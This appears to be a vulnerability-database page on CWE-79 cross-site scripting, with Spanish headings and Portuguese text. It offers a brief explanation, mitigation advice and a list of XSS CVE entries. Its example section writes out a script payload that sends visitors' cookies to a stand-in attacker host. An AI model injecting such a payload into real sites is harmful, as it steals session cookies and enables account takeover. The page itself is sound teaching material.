Fallos del tipo CWE-79

28.831 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-4979MEDIUMSitecore XP 7.5 - 10.2, CMS 7.2, and Managed Cloud XSSEPSS 0.6%CVE-2024-34081MEDIUMMantisBT Cross-site Scripting vulnerabilityEPSS 0.6%CVE-2013-10010MEDIUMzerochplus thread.res.pl PrintResList cross site scriptingEPSS 0.6%CVE-2023-43874MEDIUMMultiple Cross Site Scripting (XSS) vulnerability in e017 CMS v.2.3.2 allows a local attacker to execute arbitrary code via a crafted scriptEPSS 0.6%CVE-2021-24920—StatCounter < 2.0.7 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-0360—WP Ultimate CSV Importer < 6.4.3 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2018-3823—X-Pack Machine Learning versions before 6.2.4 and 5.6.9 had a cross-site scripting (XSS) vulnerability. Users with manage_ml permissions couEPSS 0.6%CVE-2024-2553LOWSourceCodester Product Review Rating System Rate Product cross site scriptingEPSS 0.6%CVE-2022-38754HIGHCVE-2022-38754 - Micro Focus Operations Bridge Manager and OpsBridge Containerized - Cross Site Scripting (XSS)EPSS 0.6%CVE-2023-1988LOWSourceCodester Online Computer and Laptop Store cross site scriptingEPSS 0.6%CVE-2023-1568LOWSourceCodester Student Study Center Desk Management System GET Parameter index.php cross site scriptingEPSS 0.6%CVE-2024-36676HIGHIncorrect access control in BookStack before v24.05.1 allows attackers to confirm existing system users and perform targeted notification emEPSS 0.6%CVE-2021-43817HIGHReflected Cross-Site-Scripting vulnerability in Collabora OnlineEPSS 0.6%CVE-2020-7576—A vulnerability has been identified in Camstar Enterprise Platform (All versions), Opcenter Execution Core (All versions < V8.2), Opcenter EEPSS 0.6%CVE-2021-24982—Child Theme Generator <= 2.2.7 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2020-12530MEDIUMAn issue was discovered in MB connect line mymbCONNECT24 and mbCONNECT24 software in all versions through V2.6.2. There is an XSS issue in tEPSS 0.6%CVE-2026-15780HIGHWP Statistics <= 14.16.8 - Unauthenticated Stored Cross-Site Scripting via 'utm_campaign' ParameterEPSS 0.6%CVE-2019-16772LOWregular expressions Cross-Site Scripting (XSS) vulnerability in serialize-to-jsEPSS 0.6%CVE-2023-2305MEDIUMDownload Manager <= 3.2.70 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.6%CVE-2020-36607MEDIUMCross Site Scripting (XSS) vulnerability in FeehiCMS 2.0.8 allows remote attackers to run arbitrary code via tha lang attribute of an html tEPSS 0.6%